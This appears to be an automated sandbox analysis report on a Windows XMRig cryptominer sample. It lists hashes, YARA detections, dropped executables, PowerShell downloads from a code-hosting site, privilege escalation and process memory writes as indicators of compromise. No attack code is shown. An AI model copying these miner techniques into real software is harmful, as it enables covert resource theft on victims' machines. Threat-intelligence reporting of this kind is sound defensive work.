xmrig | 9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/06/2024, 10:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
Size

1.8MB
MD5

c84da2ed5d721c3b69f3c22ffcbb9110
SHA1

a719cb8ed1969cf3fd01d2fe19b95b956ac09052
SHA256

9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66
SHA512

e3db4467eef6e8387e25b2c2d66dec6dbe8eec973e4f40190a871417524c5805f9dd5836068ec373205822f3d02f6852716ba3e2d236d7beabef6ccda3a59cb6
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Qk7SW7r+kQQ7dXQARBa5e0ag2K0hvL7u:Lz071uv4BPMkyW10/wKV7hjSe05c2zj

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/2060-79-0x00007FF7EADA0000-0x00007FF7EB192000-memory.dmp	xmrig
behavioral2/memory/4780-84-0x00007FF700530000-0x00007FF700922000-memory.dmp	xmrig
behavioral2/memory/3528-94-0x00007FF7737B0000-0x00007FF773BA2000-memory.dmp	xmrig
behavioral2/memory/904-110-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	xmrig
behavioral2/memory/3768-114-0x00007FF75EFB0000-0x00007FF75F3A2000-memory.dmp	xmrig
behavioral2/memory/4428-117-0x00007FF663C00000-0x00007FF663FF2000-memory.dmp	xmrig
behavioral2/memory/3940-350-0x00007FF606E40000-0x00007FF607232000-memory.dmp	xmrig
behavioral2/memory/1820-351-0x00007FF638F20000-0x00007FF639312000-memory.dmp	xmrig
behavioral2/memory/2712-349-0x00007FF751110000-0x00007FF751502000-memory.dmp	xmrig
behavioral2/memory/3644-355-0x00007FF70DD70000-0x00007FF70E162000-memory.dmp	xmrig
behavioral2/memory/2952-371-0x00007FF77C1F0000-0x00007FF77C5E2000-memory.dmp	xmrig
behavioral2/memory/3604-1966-0x00007FF733940000-0x00007FF733D32000-memory.dmp	xmrig
behavioral2/memory/4748-1967-0x00007FF737060000-0x00007FF737452000-memory.dmp	xmrig
behavioral2/memory/4160-368-0x00007FF7BA890000-0x00007FF7BAC82000-memory.dmp	xmrig
behavioral2/memory/2380-365-0x00007FF638F30000-0x00007FF639322000-memory.dmp	xmrig
behavioral2/memory/4816-116-0x00007FF7AB730000-0x00007FF7ABB22000-memory.dmp	xmrig
behavioral2/memory/2404-115-0x00007FF732B60000-0x00007FF732F52000-memory.dmp	xmrig
behavioral2/memory/1320-111-0x00007FF7BD380000-0x00007FF7BD772000-memory.dmp	xmrig
behavioral2/memory/2564-109-0x00007FF718140000-0x00007FF718532000-memory.dmp	xmrig
behavioral2/memory/2260-97-0x00007FF6EEC20000-0x00007FF6EF012000-memory.dmp	xmrig
behavioral2/memory/4884-93-0x00007FF7BCCE0000-0x00007FF7BD0D2000-memory.dmp	xmrig
behavioral2/memory/1828-90-0x00007FF7BA1E0000-0x00007FF7BA5D2000-memory.dmp	xmrig
behavioral2/memory/5084-85-0x00007FF735170000-0x00007FF735562000-memory.dmp	xmrig
behavioral2/memory/996-75-0x00007FF66D2A0000-0x00007FF66D692000-memory.dmp	xmrig
behavioral2/memory/3604-2018-0x00007FF733940000-0x00007FF733D32000-memory.dmp	xmrig
behavioral2/memory/2564-2020-0x00007FF718140000-0x00007FF718532000-memory.dmp	xmrig
behavioral2/memory/904-2022-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	xmrig
behavioral2/memory/996-2024-0x00007FF66D2A0000-0x00007FF66D692000-memory.dmp	xmrig
behavioral2/memory/1320-2026-0x00007FF7BD380000-0x00007FF7BD772000-memory.dmp	xmrig
behavioral2/memory/2060-2028-0x00007FF7EADA0000-0x00007FF7EB192000-memory.dmp	xmrig
behavioral2/memory/5084-2031-0x00007FF735170000-0x00007FF735562000-memory.dmp	xmrig
behavioral2/memory/1828-2032-0x00007FF7BA1E0000-0x00007FF7BA5D2000-memory.dmp	xmrig
behavioral2/memory/4780-2034-0x00007FF700530000-0x00007FF700922000-memory.dmp	xmrig
behavioral2/memory/4884-2036-0x00007FF7BCCE0000-0x00007FF7BD0D2000-memory.dmp	xmrig
behavioral2/memory/3528-2038-0x00007FF7737B0000-0x00007FF773BA2000-memory.dmp	xmrig
behavioral2/memory/2260-2040-0x00007FF6EEC20000-0x00007FF6EF012000-memory.dmp	xmrig
behavioral2/memory/3768-2042-0x00007FF75EFB0000-0x00007FF75F3A2000-memory.dmp	xmrig
behavioral2/memory/4748-2046-0x00007FF737060000-0x00007FF737452000-memory.dmp	xmrig
behavioral2/memory/2404-2044-0x00007FF732B60000-0x00007FF732F52000-memory.dmp	xmrig
behavioral2/memory/4816-2048-0x00007FF7AB730000-0x00007FF7ABB22000-memory.dmp	xmrig
behavioral2/memory/4428-2050-0x00007FF663C00000-0x00007FF663FF2000-memory.dmp	xmrig
behavioral2/memory/2712-2052-0x00007FF751110000-0x00007FF751502000-memory.dmp	xmrig
behavioral2/memory/3940-2054-0x00007FF606E40000-0x00007FF607232000-memory.dmp	xmrig
behavioral2/memory/1820-2056-0x00007FF638F20000-0x00007FF639312000-memory.dmp	xmrig
behavioral2/memory/3644-2058-0x00007FF70DD70000-0x00007FF70E162000-memory.dmp	xmrig
behavioral2/memory/2380-2060-0x00007FF638F30000-0x00007FF639322000-memory.dmp	xmrig
behavioral2/memory/2952-2064-0x00007FF77C1F0000-0x00007FF77C5E2000-memory.dmp	xmrig
behavioral2/memory/4160-2062-0x00007FF7BA890000-0x00007FF7BAC82000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	936	powershell.exe
10	936	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
936	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3604	lZeFgjO.exe
2564	GgKKPKq.exe
904	ddEuEjP.exe
996	BREkPMh.exe
1320	QQhnpIH.exe
2060	VxhPkrl.exe
4780	nkFLckq.exe
5084	yzZKuDy.exe
1828	alpFxXZ.exe
4884	RaykJyQ.exe
3528	eHNdtdf.exe
2260	QJdpZMo.exe
3768	qwzTXlR.exe
2404	yEpgFdr.exe
4748	oWfKTQc.exe
4816	FWgHUhY.exe
4428	FBfTFOs.exe
2712	ZsnzXsG.exe
3940	bjQCxth.exe
1820	MORHvCh.exe
3644	idZuQHR.exe
2380	KqGQXmN.exe
4160	rgNaMKu.exe
2952	eTvNvpH.exe
528	ThoIFQN.exe
1816	YjOQYQp.exe
3436	BBTEZsT.exe
3504	XkRHqfl.exe
3356	ywBDVYm.exe
2576	XRlQMzW.exe
4560	OieIqBs.exe
3368	VWrdNqD.exe
1928	hIruUQl.exe
2856	AKLSXOb.exe
4848	bHesFub.exe
2196	GtQVBGu.exe
5112	fRgRMLV.exe
1580	dSNMlPm.exe
116	PywfVmZ.exe
4436	pEhxPWE.exe
1800	pNZvuoE.exe
4452	CDhwwyS.exe
1472	brBFcEF.exe
376	LKuFCeb.exe
4316	StqUfhI.exe
3492	gilkQpv.exe
1284	HXYxLun.exe
448	bDbhNLM.exe
4824	BwLpDnF.exe
1652	RmPPPBN.exe
1624	EueWTiZ.exe
932	rzdehua.exe
4068	PviiKgd.exe
3624	uhZMFGU.exe
3308	bwIahYl.exe
4948	fkxnSbD.exe
3468	ieutLJu.exe
2948	GFexCRn.exe
1152	PrwJaPC.exe
1988	aZjdJuO.exe
3628	hRTVMUi.exe
4492	fyJJizu.exe
2276	fHmgYSy.exe
1492	VYcwqrJ.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4736-0-0x00007FF6D2E30000-0x00007FF6D3222000-memory.dmp	upx
behavioral2/files/0x00090000000233f3-6.dat	upx
behavioral2/files/0x0007000000023402-13.dat	upx
behavioral2/files/0x0007000000023403-17.dat	upx
behavioral2/files/0x0007000000023404-20.dat	upx
behavioral2/files/0x0007000000023408-61.dat	upx
behavioral2/files/0x000700000002340c-72.dat	upx
behavioral2/memory/2060-79-0x00007FF7EADA0000-0x00007FF7EB192000-memory.dmp	upx
behavioral2/memory/4780-84-0x00007FF700530000-0x00007FF700922000-memory.dmp	upx
behavioral2/memory/3528-94-0x00007FF7737B0000-0x00007FF773BA2000-memory.dmp	upx
behavioral2/files/0x000700000002340f-99.dat	upx
behavioral2/files/0x0007000000023410-106.dat	upx
behavioral2/memory/904-110-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	upx
behavioral2/memory/3768-114-0x00007FF75EFB0000-0x00007FF75F3A2000-memory.dmp	upx
behavioral2/memory/4428-117-0x00007FF663C00000-0x00007FF663FF2000-memory.dmp	upx
behavioral2/files/0x0007000000023411-120.dat	upx
behavioral2/files/0x0007000000023413-134.dat	upx
behavioral2/files/0x0007000000023419-158.dat	upx
behavioral2/files/0x000700000002341f-188.dat	upx
behavioral2/memory/3940-350-0x00007FF606E40000-0x00007FF607232000-memory.dmp	upx
behavioral2/memory/1820-351-0x00007FF638F20000-0x00007FF639312000-memory.dmp	upx
behavioral2/memory/2712-349-0x00007FF751110000-0x00007FF751502000-memory.dmp	upx
behavioral2/memory/3644-355-0x00007FF70DD70000-0x00007FF70E162000-memory.dmp	upx
behavioral2/memory/2952-371-0x00007FF77C1F0000-0x00007FF77C5E2000-memory.dmp	upx
behavioral2/memory/3604-1966-0x00007FF733940000-0x00007FF733D32000-memory.dmp	upx
behavioral2/memory/4748-1967-0x00007FF737060000-0x00007FF737452000-memory.dmp	upx
behavioral2/memory/4160-368-0x00007FF7BA890000-0x00007FF7BAC82000-memory.dmp	upx
behavioral2/memory/2380-365-0x00007FF638F30000-0x00007FF639322000-memory.dmp	upx
behavioral2/files/0x0007000000023420-193.dat	upx
behavioral2/files/0x000700000002341e-191.dat	upx
behavioral2/files/0x000700000002341d-186.dat	upx
behavioral2/files/0x000700000002341c-181.dat	upx
behavioral2/files/0x000700000002341b-176.dat	upx
behavioral2/files/0x000700000002341a-171.dat	upx
behavioral2/files/0x0007000000023418-161.dat	upx
behavioral2/files/0x0007000000023417-156.dat	upx
behavioral2/files/0x0007000000023416-151.dat	upx
behavioral2/files/0x0007000000023415-146.dat	upx
behavioral2/files/0x0007000000023414-138.dat	upx
behavioral2/files/0x0007000000023412-128.dat	upx
behavioral2/memory/4816-116-0x00007FF7AB730000-0x00007FF7ABB22000-memory.dmp	upx
behavioral2/memory/2404-115-0x00007FF732B60000-0x00007FF732F52000-memory.dmp	upx
behavioral2/files/0x00090000000233fb-112.dat	upx
behavioral2/memory/1320-111-0x00007FF7BD380000-0x00007FF7BD772000-memory.dmp	upx
behavioral2/memory/2564-109-0x00007FF718140000-0x00007FF718532000-memory.dmp	upx
behavioral2/memory/4748-105-0x00007FF737060000-0x00007FF737452000-memory.dmp	upx
behavioral2/files/0x0008000000023409-98.dat	upx
behavioral2/memory/2260-97-0x00007FF6EEC20000-0x00007FF6EF012000-memory.dmp	upx
behavioral2/memory/4884-93-0x00007FF7BCCE0000-0x00007FF7BD0D2000-memory.dmp	upx
behavioral2/memory/1828-90-0x00007FF7BA1E0000-0x00007FF7BA5D2000-memory.dmp	upx
behavioral2/files/0x000700000002340e-86.dat	upx
behavioral2/memory/5084-85-0x00007FF735170000-0x00007FF735562000-memory.dmp	upx
behavioral2/files/0x000700000002340d-76.dat	upx
behavioral2/memory/996-75-0x00007FF66D2A0000-0x00007FF66D692000-memory.dmp	upx
behavioral2/files/0x000800000002340a-65.dat	upx
behavioral2/files/0x0007000000023406-56.dat	upx
behavioral2/files/0x000700000002340b-55.dat	upx
behavioral2/files/0x0007000000023407-51.dat	upx
behavioral2/files/0x0007000000023405-29.dat	upx
behavioral2/memory/3604-11-0x00007FF733940000-0x00007FF733D32000-memory.dmp	upx
behavioral2/memory/3604-2018-0x00007FF733940000-0x00007FF733D32000-memory.dmp	upx
behavioral2/memory/2564-2020-0x00007FF718140000-0x00007FF718532000-memory.dmp	upx
behavioral2/memory/904-2022-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	upx
behavioral2/memory/996-2024-0x00007FF66D2A0000-0x00007FF66D692000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
7	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\QZdXZEw.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\TkbhwFj.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\ouWVoxX.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\PuMjDut.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\vuOfkdm.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\bknQMKz.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\XcNPqvC.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\rhvjevq.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\JrqEGLN.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\sbfGyWm.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\NUvonsp.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\lNNhGDa.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\BDkqvAV.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\xXUqmid.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\QSICybg.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\fyJJizu.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\KncxCyA.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\SiZmnYR.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\ttfvTDs.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\rOeXRFh.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\cHdiplD.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\IPqziFp.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\pTNKycD.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\mbHsVVq.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\YHNxRND.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\WzTnAal.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\qmrrSJC.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\iXMmsvG.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\advxQYa.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\WqSPDLQ.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\TSpxTIh.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\ltdtklV.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\vRDVDUB.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\AEBPIoH.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\HCgAmhs.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\lnEhaca.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\jPsyYDT.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\LlMQroD.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\ajYhPIt.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\kEwDdQI.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\rgNaMKu.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\bayrJLK.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\yVayjPS.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\INgyAsY.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\vpULsMC.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\JoMyBTM.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\nkFLckq.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\LtKwCAF.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\SMKpmYq.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\lKXrDEB.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\xEMvxlo.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\JcLdICF.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\Rfpwtey.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\gUrnKNj.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\TzoPyMq.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\sgNJtTB.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\capmbGj.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\CdlhyXt.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\JbZgNAX.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\FnvxrAA.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\hCYrljx.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\bHesFub.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\EUuTQJL.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
File created	C:\Windows\System\pzQqAMg.exe	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
936	powershell.exe
936	powershell.exe
936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe
Token: SeDebugPrivilege	936	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 936	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	84
PID 4736 wrote to memory of 936	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	84
PID 4736 wrote to memory of 3604	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	85
PID 4736 wrote to memory of 3604	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	85
PID 4736 wrote to memory of 2564	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	86
PID 4736 wrote to memory of 2564	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	86
PID 4736 wrote to memory of 904	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	87
PID 4736 wrote to memory of 904	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	87
PID 4736 wrote to memory of 996	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	88
PID 4736 wrote to memory of 996	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	88
PID 4736 wrote to memory of 1320	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	89
PID 4736 wrote to memory of 1320	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	89
PID 4736 wrote to memory of 5084	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	90
PID 4736 wrote to memory of 5084	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	90
PID 4736 wrote to memory of 2060	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	91
PID 4736 wrote to memory of 2060	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	91
PID 4736 wrote to memory of 4780	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	92
PID 4736 wrote to memory of 4780	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	92
PID 4736 wrote to memory of 1828	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	93
PID 4736 wrote to memory of 1828	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	93
PID 4736 wrote to memory of 4884	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	94
PID 4736 wrote to memory of 4884	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	94
PID 4736 wrote to memory of 3528	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	95
PID 4736 wrote to memory of 3528	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	95
PID 4736 wrote to memory of 2260	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	96
PID 4736 wrote to memory of 2260	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	96
PID 4736 wrote to memory of 3768	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	97
PID 4736 wrote to memory of 3768	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	97
PID 4736 wrote to memory of 2404	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	98
PID 4736 wrote to memory of 2404	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	98
PID 4736 wrote to memory of 4748	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	99
PID 4736 wrote to memory of 4748	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	99
PID 4736 wrote to memory of 4816	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	100
PID 4736 wrote to memory of 4816	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	100
PID 4736 wrote to memory of 4428	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	101
PID 4736 wrote to memory of 4428	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	101
PID 4736 wrote to memory of 2712	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	102
PID 4736 wrote to memory of 2712	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	102
PID 4736 wrote to memory of 3940	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	103
PID 4736 wrote to memory of 3940	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	103
PID 4736 wrote to memory of 1820	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	104
PID 4736 wrote to memory of 1820	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	104
PID 4736 wrote to memory of 3644	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	105
PID 4736 wrote to memory of 3644	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	105
PID 4736 wrote to memory of 2380	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	106
PID 4736 wrote to memory of 2380	4736	9c00942aabee4480d03e210c8a91f343e0d2517566747db79dfe34f329f96f66_NeikiAnalytics.exe	106
